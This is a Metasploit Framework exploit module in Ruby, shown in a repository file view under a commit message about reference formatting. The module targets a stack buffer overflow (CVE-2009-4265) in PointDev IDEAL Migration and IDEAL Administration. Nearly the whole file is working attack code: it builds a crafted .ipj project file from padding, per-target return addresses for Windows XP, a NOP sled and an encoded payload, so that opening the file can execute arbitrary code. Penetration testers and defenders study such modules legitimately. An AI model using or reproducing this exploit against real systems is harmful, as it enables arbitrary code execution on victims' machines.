910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
108 lines
2.6 KiB
Ruby
108 lines
2.6 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'PointDev IDEAL Migration Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in versions v9.7
|
|
through v10.5 of IDEAL Administration and versions 4.5 and 4.51 of
|
|
IDEAL Migration. All versions are suspected to be vulnerable.
|
|
By creating a specially crafted ipj file, an an attacker may be able
|
|
to execute arbitrary code.
|
|
|
|
NOTE: IDEAL Administration 10.5 is compiled with /SafeSEH
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'Dr_IDE', 'dookie', 'jduck' ],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2009-4265' ],
|
|
[ 'OSVDB', '60681' ],
|
|
[ 'EDB', '10319' ],
|
|
[ 'EDB', '12403' ],
|
|
[ 'EDB', '12404' ],
|
|
[ 'EDB', '12540' ]
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'seh',
|
|
'DisablePayloadHandler' => 'true',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1000,
|
|
'BadChars' => "\x00\x0a\x1a\x22\x3c\x3e",
|
|
'StackAdjustment' => -3500,
|
|
'DisableNops' => true
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'IDEAL Migration <= 4.5.1 on Windows XP',
|
|
{
|
|
'Ret' => 0x1001411e # CALL EBP in ULMigration_us.dll
|
|
# 'Ret' => 0x7c96bf33 # JMP ESP in ULMigration_us.dll (from Blake)
|
|
# 'Ret' => 0x77f31d2f # JMP ESP in ?? (from Dr_IDE)
|
|
}
|
|
],
|
|
|
|
[ 'IDEAL Administration <= 10.5 on Windows XP',
|
|
{
|
|
'Ret' => 0x10010F2E # CALL EBP in ListWmi.dll
|
|
# 'Ret' => 0x77f31d2f # JMP ESP in ?? (from Dr_IDE)
|
|
}
|
|
],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Dec 05 2009',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [ false, 'The file name.', 'msf.ipj']),
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
|
|
ipj = "\r\n"
|
|
ipj << "[Group,Export,Yes]\r\n"
|
|
ipj << "Computer="
|
|
|
|
sploit = ""
|
|
sploit << rand_text_alpha_upper(2420)
|
|
sploit << [target.ret].pack('V')
|
|
# These nops are required to move the payload below where ebp points
|
|
# when returning...
|
|
sploit << make_nops(768)
|
|
sploit << payload.encoded
|
|
|
|
ipj << sploit
|
|
ipj << "\r\n"
|
|
ipj << "[End]\r\n"
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
|
|
file_create(ipj)
|
|
|
|
end
|
|
|
|
end
|